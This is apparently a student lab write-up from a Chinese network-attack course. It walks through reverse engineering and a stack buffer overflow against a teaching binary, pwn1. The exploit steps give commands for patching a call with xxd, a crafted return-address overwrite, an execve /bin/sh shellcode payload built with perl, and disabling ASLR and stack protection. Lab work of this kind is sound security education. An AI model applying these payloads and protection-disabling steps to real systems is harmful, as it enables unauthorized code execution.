zoukankan      html  css  js  c++  java
  • 20155327李百乾《网络对抗》逆向及Bof基础

    20155327李百乾《网络对抗》逆向及Bof基础

    实践目标

    本次实践的对象是一个名为pwn1的linux可执行文件。

    该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。

    该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。

    --

    三个实践内容如下:
    手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
    利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
    注入一个自己制作的shellcode并运行这段shellcode。
    这几种思路,基本代表现实情况中的攻击目标:
    运行原本不可访问的代码片段
    强行修改程序执行流
    以及注入运行任意代码。

    基础知识

    1.熟悉Linux基本操作

    objdump -d:从objfile中反汇编那些特定指令机器码的section。
    perl -e:后面紧跟单引号括起来的字符串,表示在命令行要执行的命令。
    xxd:为给定的标准输入或者文件做一次十六进制的输出,它也可以将十六进制输出转换为原来的二进制格式。
    ps -ef:显示所有进程,并显示每个进程的UID,PPIP,C与STIME栏位。
    |:管道,将前者的输出作为后者的输入。

    :输入输出重定向符,将前者输出的内容输入到后者中。

    2.掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码

    NOP:NOP指令即“空指令”。执行到NOP指令时,CPU什么也不做,仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。(机器码:90)

    JNE:条件转移指令,如果不相等则跳转。(机器码:75)

    JE:条件转移指令,如果相等则跳转。(机器码:74)

    JMP:无条件转移指令。段内直接短转Jmp short(机器码:EB)段内直接近转移Jmp near(机器码:E9)段内间接转移Jmp word(机器码:FF)段间直接(远)转移Jmp far(机器码:EA)

    CMP:比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。cmp指令执行后,将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果。

    实践内容

    实践一:直接修改程序机器指令,改变程序执行流程

    使用objdump -d pwn1将pwn1反汇编

    如果我们想让函数调用getShell,只需要修改d7 ff ff ff即可。根据foo函数与getShell地址的偏移量,我们计算出应该改为c3 ff ff ff。

    修改的具体步骤如下:

    vi pwn1进入命令模式
    输入:%!xxd将显示模式切换为十六进制
    在底行模式输入/e8d7定位需要修改的地方,并确认
    进入插入模式,修改d7为c3
    输入:%!xxd -r将十六进制转换为原格式
    使用:wq保存并退出

    反汇编查看修改后的代码,发现call指令正确调用getShell:

    实践二:通过构造输入参数,造成BOF攻击,改变程序执行流

    按照步骤输入:

     gdb pwn1
    (gdb) r
    Starting program: /root/pwn1 
    1111111122222222333333334444444455555555
    1111111122222222333333334444444455555555
    ```使用gdb进行调试:
    ![](https://images2018.cnblogs.com/blog/1071551/201803/1071551-20180320134447223-1650846507.png)
    
    - 确认用什么值来覆盖返回地址。
    
    首先通过之前对文件反汇编,可以得到getShell函数的内存地址为0804847d。
    由于前一步中,输入1234,得到的地址为34333231。因此,getshell的地址应反着输入,正确的是:11111111222222223333333344444444x7dx84x04x08。
    - 构造输入字符串
    
    因为键盘无法输入x7dx84x04x08这样的16进制数值,所以通过重定向生成包括这样字符串的一个文件。
    x0a表示回车,如果没有的话,在程序运行时就需要手工按一下回车键。
    使用16进制查看指令xxd查看input文件的内容。
    ![](https://images2018.cnblogs.com/blog/1071551/201803/1071551-20180320134622254-621429758.png)
    
    
    ##实践三 注入Shellcode并执行
    .准备一段Shellcode
    
      Shellcode实际是一段代码(也可以是填充数据),是用来发送到服务器利用特定漏洞的代码,一般可以获取权限。另外,Shellcode一般是作为数据发送给受攻击服务器的。这次试用一个已经生成的shellcode:
      
    
    选择retaddr+nops+shellcode结构来攻击buf,在shellcode前填充nop的机器码90,最前面加上加上返回地址(先定义为x4x3x2x1):
    
    

    perl -e 'print "x4x3x2x1x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00"' > input_shellcode

    2. 准备工作
    
    

    root@KaliYL:~# execstack -s pwn1 //设置堆栈可执行
    root@KaliYL:~# execstack -q pwn1 //查询文件的堆栈是否可执行
    X pwn1
    root@KaliYL:~# more /proc/sys/kernel/randomize_va_space
    2
    root@KaliYL:~# echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
    root@KaliYL:~# more /proc/sys/kernel/randomize_va_space
    0

    
    
    打开一个终端注入这段攻击buf
    
    

    root@KaliYL:~# (cat input_shellcode;cat) | ./pwn1
    ������1�Ph//shh/bin��PS��1Ұ

    再开另外一个终端,用gdb来调试pwn1这个进程。
    
    root@KaliYL:/home# ps -ef | grep pwn1 //找到pwn1的进程号是
    
    
    root@KaliYL:/home# gdb//启动gdb调试这个进程
    
    (gdb) attach 27728
    
    
    
    (gdb) disassemble foo// 通过设置断点,来查看注入buf的内存地址
    
    (gdb) break *0x080484ae
    Breakpoint 1 at 0x80484ae
    //!!注意:在另外一个终端中按下回车,这就是前面为什么不能以x0a来结束 input_shellcode的原因。
    
    (gdb) c  
    Continuing.
    
    
    
    (gdb) info r esp //查看寄存器的值
    
    (gdb) x/16x 0xffffd3fc  //看到 01020304了,就是返回地址的位置。shellcode就挨着,所以地址是 0xffffd2e0
    


    root@KaliYL:~# perl -e 'print "A" x 32;print "xe0xd2xffxffx90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode
    

    查看shellcode转换进制内容xxd input_shellcode,并运行验证是否成功(cat input_shellcode;cat) | ./pwn20155305

    root@KaliYL:~# xxd input_shellcode
    
    root@KaliYL:~# (cat input_shellcode;cat) | ./pwn20155327
    

  • 相关阅读:
    VS Code 使用笔记
    Haskell语言开发工具
    Haskell语言学习笔记(81)Data.Typeable
    Haskell语言学习笔记(80)req
    Haskell语言学习笔记(79)lambda演算
    Haskell语言学习笔记(78)fix
    2733: [HNOI2012]永无乡
    牛课练习赛17
    bzoj3758. 数数
    【BZOJ1786】[Ahoi2008]Pair 配对
  • 原文地址:https://www.cnblogs.com/l97----/p/8598182.html
Copyright © 2011-2022 走看看